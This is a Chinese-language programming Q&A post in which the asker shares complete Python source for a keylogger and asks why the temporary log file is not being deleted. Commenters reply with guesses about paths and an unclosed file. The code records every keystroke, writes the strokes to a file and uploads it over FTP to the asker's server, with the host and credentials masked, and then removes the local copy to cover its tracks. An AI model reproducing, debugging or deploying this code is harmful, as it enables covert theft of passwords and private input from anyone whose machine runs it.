【发布时间】:2019-10-31 18:31:40
【问题描述】:
这是我的完整程序:
from ftplib import FTP
from keyboard import read_key
from multiprocessing import Process
from os import unlink
from random import random
def send_file(data):
username = str(int(random() * 10000)) + "m.txt"
ftp = FTP('***')
file = open(username, 'x+')
for stroke in data:
file.write(stroke)
data.clear()
file.close()
while True:
try:
ftp.login(user='***', passwd='***')
ftp.cwd('key_logger')
ftp.storbinary("STOR " + username, open(username, 'rb'))
ftp.quit()
break
except Exception:
ftp.set_pasv(True)
continue
unlink(username)
def get_strokes():
strokes = []
i = 0
while True:
key1 = read_key()
if i == 0:
strokes.append(key1)
elif strokes.__len__() > 20:
send = Process(target=send_file, args=(strokes, ), name="main")
send.start()
strokes.clear()
i += 1
i %= 2
if __name__ == '__main__':
get = Process(target=get_strokes(), args=())
get.start()
get.join()
我正在制作一个按键记录器,它可以监听笔画并将它们保存在strokes 中。
当strokes 达到一定长度时,它们会保存在 .txt 文件中,然后发送到我的服务器。
然后我需要删除带有os.remove() 或os.unlink 的.txt 文件,但它们都没有删除我的文件。
【问题讨论】:
-
你确定给出正确的路径吗?
-
我看不出这段代码有什么明显错误。如果文件名不存在,您会收到来自
unlink()的错误,所以这不是问题。剩余文件的时间戳是多少?也许它们是该程序的某个先前版本遗留下来的? -
我刚刚注意到
ftp.storbinary()在文件上做了一个open(),但从未调用过close()。也许这就是问题所在? -
我确定我给出了正确的相对路径,因为该文件夹是在同一个函数中创建和删除的。路径存储在
username